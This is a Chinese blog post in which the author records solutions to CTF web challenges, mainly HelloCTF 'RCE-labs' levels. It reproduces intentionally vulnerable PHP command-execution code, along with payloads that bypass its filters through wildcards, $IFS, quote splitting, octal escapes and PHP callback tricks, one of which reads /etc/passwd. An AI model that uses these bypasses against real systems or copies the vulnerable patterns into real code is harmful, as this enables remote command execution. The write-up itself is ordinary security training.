从零开始的CTF探险!

以此文记录我在学习CTF中的心路历程,日拱一卒,功不唐捐。

一、WEB学习目录

工具篇:

WEB的常用工具有: BurpSuite(一款常用的抓包工具,应用广泛,文件上传必不可少的利器) Hackerbar(浏览器插件,传参的好帮手) 蚁剑(连接工具) 还有许许多多的部署在Linux上的工具,……这里的东西就以后再来探索吧() ### 拥有了入门的工具,就可以步入WEB的世界力(喜)

WEB包括哪些内容:

1.文件包含 2.文件上传

[!NOTE]

更新:2026年3月8日

慢慢意识到自己当初基础非常的薄弱,以前也没怎么好好刷题

这个博客用来记录从零开始学web的做题记录

CTF show

web签到题

F12 查看前端,在HTML中看到base64加密的flag

RCE-labs-level4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?
/*
&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例:  mkdir test && cd test

||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例:  cd nonexistent_directory || echo "Directory not found"

&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例:  sleep 10 & echo "This will run immediately."

;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例:  echo "Hello" ; echo "World"
*/

function hello_server($ip){
    system("ping -c 1 $ip");
}

isset($_GET['ip']) ? hello_server($_GET['ip']) : null;

highlight_file(__FILE__);


?>

在这道题中,默认只有传递 ip||ls 可以成功执行,原因是 Payload在到达服务器并最终执行的过程中,经过了HTTP 解析层 和 Linux Shell 逻辑层 的双重处理,在 URL 中,& 符号有着特殊含义,它是不同 GET 参数之间的分隔符,所以在传递的时候必须将&进行URL编码才能执行成功,;同理。

RCE-labs-level5

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?
/*
在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。

*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。

通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:

system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
...

*/

function hello_shell($cmd){
    if(preg_match("/flag/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);

?>

payload: ?cmd=cat /f*

RCE-labs-level6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?

function hello_shell($cmd){
    if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

这道题可以用上面的通配符进行绕过,可以看到这里过滤了除了字母a和数字以外所有的大小写字母,没过滤/ 所以可以cmd=/???/?a? /??a? 用于匹配根目录下三个字符的目录(如 /bin/etc)中,文件名长度为三个字符且中间字符为 a 的文件,常见的有 /bin/cat/bin/tar/bin/man 等。

/??a?:匹配根目录下四个字符的文件名,且第三个字符为 a,即/flag,用这个会输出很多其他的东西;

也可以使用/???/?a??64 /??a?,即/bin/base64 /flag这个能只匹配到/flag,然后使用base64输出

/bin 目录是存放系统启动和单用户模式下必需的核心可执行文件,这些文件对所有用户(包括普通用户和 root)都可用,包含最基础的命令,如 ls(列出目录)、cp(复制文件)、mv(移动文件)、sh(Shell 解释器)等。

RCE-labs-level7

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?
/*
在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。
*/

function hello_shell($cmd){
    if(preg_match("/flag| /", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

payload : ?cmd=cat$IFS/f*

RCE-labs-level2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
include ("get_flag.php");
global $flag;

session_start(); // 开启 session
/*
除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数,PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。
*/
function hello_ctf($function, $content){
    global $flag;
    $code = $function . "(" . $content . ");";
    echo "Your Code: $code <br>";
    eval($code);
}

function get_fun(){

    $func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];

    if (!isset($_SESSION['random_func'])) {
        $_SESSION['random_func'] = $func_list[array_rand($func_list)];
    }
    
    $random_func = $_SESSION['random_func'];

    $url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
    
    echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

    return $_SESSION['random_func'];
}

function start($act){

    $random_func = get_fun();
    
    if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
        session_unset();
        session_destroy(); 
    }

    if ($act == "submit"){
        $user_content = $_POST['content']; 
        hello_ctf($random_func, $user_content);
    }
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>

flag放进了变量$flag中,random_func中的函数都是可以通过回调等方式进行输出flag的值

官方WP中是这样写的:

函数

说明

示例代码

1
${}

用于复杂的变量解析,通常在字符串内用来解析变量或表达式。可以配合 eval 或其他动态执行代码的功能,用于间接执行代码。

1
2
eval('${flag}');
eval()

用于执行一个字符串作为 PHP 代码。可以执行任何有效的 PHP 代码片段。没有返回值,除非在执行的代码中明确返回。

1
2
eval('echo $flag;');
assert()

测试表达式是否为真。PHP 8.0.0 之前,如果 assertion 是字符串,将解释为 PHP 代码并通过 eval() 执行。PHP 8.0.0 后移除该功能。

1
2
assert(print_r($flag));
call_user_func()

用于调用回调函数,可以传递多个参数给回调函数,返回回调函数的返回值。适用于动态函数调用。

1
2
call_user_func('print_r', $flag);
create_function()

创建匿名函数,接受两个字符串参数:参数列表和函数体。返回一个匿名函数的引用。自 PHP 7.2.0 起被_废弃_,并自 PHP 8.0.0 起被_移除_。

1
2
create_function('$a', 'echo $flag;')($a);
array_map()

将回调函数应用于数组的每个元素,返回一个新数组。适用于转换或处理数组元素。

1
2
array_map(print_r($flag), $a);
call_user_func_array()

调用回调函数,并将参数作为数组传递。适用于动态参数数量的函数调用。

1
2
call_user_func_array(print_r($flag), array());
usort()

对数组进行自定义排序,接受数组和比较函数作为参数。适用于根据用户定义的规则排序数组元素。

1
2
usort($a,print_r($flag));
array_filter()

过滤数组元素,如果提供回调函数,仅包含回调返回真值的元素;否则,移除所有等同于false的元素。适用于基于条件移除数组中的元素。

1
2
array_filter($a,print_r($flag));
array_reduce()

迭代一个数组,通过回调函数将数组的元素逐一减少到单一值。接受数组、回调函数和可选的初始值。

1
2
array_reduce($a,print_r($flag));
preg_replace()

执行正则表达式的搜索和替换。可以是单个字符串或数组。适用于基于模式匹配修改文本内容。依赖 /e 模式,该模式自 PHP7.3 起被取消。

1
2
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${print_r($flag)});
ob_start()

ob_start — 打开输出控制缓冲,可选回调函数作为参数来处理缓冲区内容。

1
ob_start(print_r($flag));

RCE-labs-level9

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

从该关卡开始你会发现我们在Dockerfile中添加了一行改动:

RUN ln -sf /bin/bash /bin/sh

这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx    1 root     root            12 Mar 16  2022 /bin/sh -> /bin/busybox

我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。

在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。

bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found

bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r--    1 www-data www-data       829 Aug 14 19:39 index.php

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

payload: ?cmd=$'\143\141\164' $'\57\146\154\141\147'

RCE-labs-level10

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 --- 

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。

*/

function hello_shell($cmd){
    if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>
Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计